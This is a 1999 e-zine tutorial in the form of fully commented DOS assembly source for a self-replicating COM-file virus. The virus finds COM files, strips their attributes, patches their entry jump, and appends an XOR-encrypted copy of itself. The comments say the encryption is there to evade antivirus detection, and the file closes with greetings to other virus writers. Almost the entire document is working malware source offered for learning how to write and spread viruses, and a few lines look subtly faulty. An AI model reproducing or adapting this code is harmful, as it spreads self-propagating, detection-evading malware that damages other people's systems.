title The Simple Way to learn Virus writing 3
subttl (C) 1999 The BugHunter
subttl Latest revision: 29.09.1999

;I write this tutorial hoping that more people understand how viruses work
;
;I think that the best way to learn viruswriting is a good commented piece
;  of Source  ;)
;
;Now you are able to infect COM-Files without to damage them. Now we should
;  try to hide our Virus- with encryption. It's a easy way to make it harder
;  for Antivirus-Software to detect your virus ;)
;
;Sorry, that the labels are written in german but i am german and this
;  tutorial is just translated from german to english for the Kefrens
;  E-Zine ;)
;
;You can assemble this file with TASM:
;   tasm tut3e.asm
;   tlink tut3e.obj /t
;
;Mail your opinions and your questions to:
;   thebughunter@kefrens.de
;
;Here we go:

jumps

code segment
assume cs:code,ds:code
org 0100h
;We know this part ;)

infectedfile:

db 0e9h, 02h, 0h
db 0deh, 0adh
;We know this part ;)

tutnichts:
        call virus
;We know this part ;)

virus:
        pop     bp
        sub     bp, OFFSET virus
;We know this part ;)

        mov     al, 1 ptr cs:[bp+OFFSET key]
        lea     si, [bp+dtasetzen]
        mov     cx, (OFFSET xorloop-OFFSET dtasetzen)
        call    xorloop
;AL is our key we use to encrypt our virus
;SI points to the start of the part of our virus we want to encrypt
;CX is the count of bytes we want to encrypt
;with "call    xorloop" we call our encryption routine
;we need AL, SI and CX because our encryption routine needs them
;The first call of this routine is used to decrypt our virus
;Shortform:
;  Here we decrypt our virus

dtasetzen:
        mov     ah, 1ah
        lea     dx, cs:[bp+OFFSET dta]
        int     21h
;We know this part ;)

        mov     cx, 5
        lea     si, cs:[bp+OFFSET zweibytes1]
        mov     di, 100h
        rep     movsb
;We know this part ;)

        mov     ah, 4eh
        mov     cx, 7
        lea     dx, cs:[bp+OFFSET comfile]
        jmp     search
;We know this part ;)

OUR_ID  db      'Example Virus from the tutorial "The Simple Way to learn Virus writing 3" [The BugHunter]'

search:
        int     21h
        jc      quit
;We know this part ;)

        mov     ax, 4301h
        xor     cl, cl
        int     21h
;We know this part ;)

        mov     ax, 3d02h
        lea     dx, cs:[bp+OFFSET dta+1eh]
        int     21h
;We know this part ;)

        xchg    bx, ax
;We know this part ;)

lesen:
        mov     ah, 3fh
        mov     cx, 5
        lea     dx, cs:[bp+zweibytes1]
        int     21h
;We know this part ;)

infcheck:
        cmp     word ptr cs:[bp+zweibytes1], 'ZM'
        je      findnext
        cmp     word ptr cs:[bp+zweibytes2], 0addeh
        je      findnext
;We know this part ;)

        mov     ax, word ptr cs:[bp+dta+1ah]
        sub     ax, 3
        mov     word ptr cs:[bp+jump+1],ax
;We know this part ;)

        mov     ax, 4200h
        xor     cx, cx
        cwd
        int     21h
;We know this part ;)

        mov     ah, 40h
        mov     cx, 5
        lea     dx, cs:[bp+jump]
        int     21h
;We know this part ;)

        mov     1 ptr cs:[bp+OFFSET key], 90h
;Here we set a key which we want to use to encrypt our virus

        lea     si, cs:[bp+ tutnichts]
        lea     di, cs:[bp+ eof]
        mov     cx, eof- dtasetzen
        rep     movsb
;SI points to the begin of our virus
;DI points to the end of our virus
;CX is the length of your virus (in bytes)
;"rep movsb" copies CX bytes from SI to DI
;that means that we copy our virus to the end of our virus
;  We need to do this to be able to encrypt our virus
;  If we wouldn't do this our virus wouldn't work because DOS would continue
;  executing the virus with the encrypted bytes
;Shortform:
;  We copy our virus to the end of our virus to be able to encrypt it

        lea     si, (dtasetzen-tutnichts)+eof+bp
        mov     cx, (xorloop-dtasetzen)
        mov     al, 1 ptr cs:[bp+OFFSET key]
        call    xorloop
;Here we set our pointer SI to the part of our virus we want to encrypt
;CX is the length of that part we want to encrypt in bytes
;AL is the value we use to encrypt the virus
;and "call    xorloop" encrypts the copy of our virus which we created at the
;  end of our orginal virus
;The second call of our encryption routine encrypts the virus again
;Shortform:
;  We encrypt our copy of the virus we create some lines above

        mov     ax, 4202h
        xor     cx, cx
        cwd
        int     21h
;We know this part ;)

        mov     ah, 40h
        lea     dx, bp+eof
        mov     cx, ende-tutnichts
        int     21h
;Here we write the virus into the file we found
;The only new thing is that we don't write the virus sondern the encrypted
;  virus copy which we can find at the end of our virus (bp+eof)
;BE CAREFUL!!! eof is not a command. It is a label which i put at the end of
;  our virus!!!
;Shortform:
;  We infect the file we found with the encrypted copy of our virus which we
;  created at the end of our virus

        mov     ax, 5701h
        mov     cx, cs:[bp+OFFSET dta+16h]
        mov     dx, cs:[bp+OFFSET dta+18h]
        int     21h
;We know this part ;)

        mov     ax, 4301h
        mov     cl, cs:[bp+OFFSET dta+15h]
        lea     dx, cs:[bp+OFFSET dta+1eh]
        int     21h
;We know this part ;)

findnext:
        mov     ah, 3eh
        int     21
;We know this part ;)

        mov     ah, 4fh
        jmp     search
;We know this part ;)

quit:

backtoapp:
        mov     si, 100h
        jmp     si
;We know this part ;)

comfile         db 'virus.com',0
zweibytes1      db 0cdh,20h
einbyte         db 0
zweibytes2      db 0,0
;We know this part ;)

jump            db 0e9h,0,0
kennung         db 0deh, 0adh
;We know this part ;)

xorloop:
        xor     1 ptr cs:[si], al
        inc     si
        loop    xorloop
        ret
;This is our encryption routine
;SI points to the begin of the part we want to en-/decrypt
;CX is the count of the bytes we want to en-/decrypt
;AL is the value we use to en-/decrypt our virus (key)
;This loop will add 1 to SI until the count of loops is equal to AX
;"xor     1 ptr cs:[si], al" replaces the byte at the position SI with the
;   XOR-valie of SI and AL
;Shortform:
;  The routine to en-/decrypt our virus

key     db      00h
;This is the value we use to encrypt our virus
;key=0 means no encryption. We need to set key to zero because our virus is
;  not encrypted. It is just encrypted in the Files we infected.
;  If key 'd be not equal to 0 our virus would encrypt itself when it is
;  executed.
;  This would cause errors. Because that key is equal to zero here
;Shortform:
;  The value we use to encrypt our Virus

ende:
dta             db 43 dup (?)
;We know this part ;)

eof:
;Behind this label we are always able to find the encrypted virus we want to
;  copy into another file  ;)

code ends
end infectedfile

;Greets to:
;          The Kefrens members:
;            -Assembler Head
;            -Freestyler
;            -Paradizer
;            -SnakeByte
;          All Cybernetic Crew members ;)
;          Martin, hast du eigentlich weiter Viren geschrieben
;             (oder es versucht?)
;          Efgeen (Effgen, Effgeen) oder wie auch immer du jetzt geschrieben
;             wirst ;) ,besorg dir mal nen internet Anschlu  =)
;          Christian, antworte mal auf meine Mails!
;          Conny, mail mir mal was nettes ;)
;          Acidbytes, Gigabyte. I am missing you in Kefrens
;               but everyone knows that it'd end like this ;(
;          Evil-E, BlachJack
;	   everyone else who writes virii
;          and everyone who knows me ;)
;          and before i'll forgot it again:
;             all old school friends and teachers (except our Texas Ranger ;)
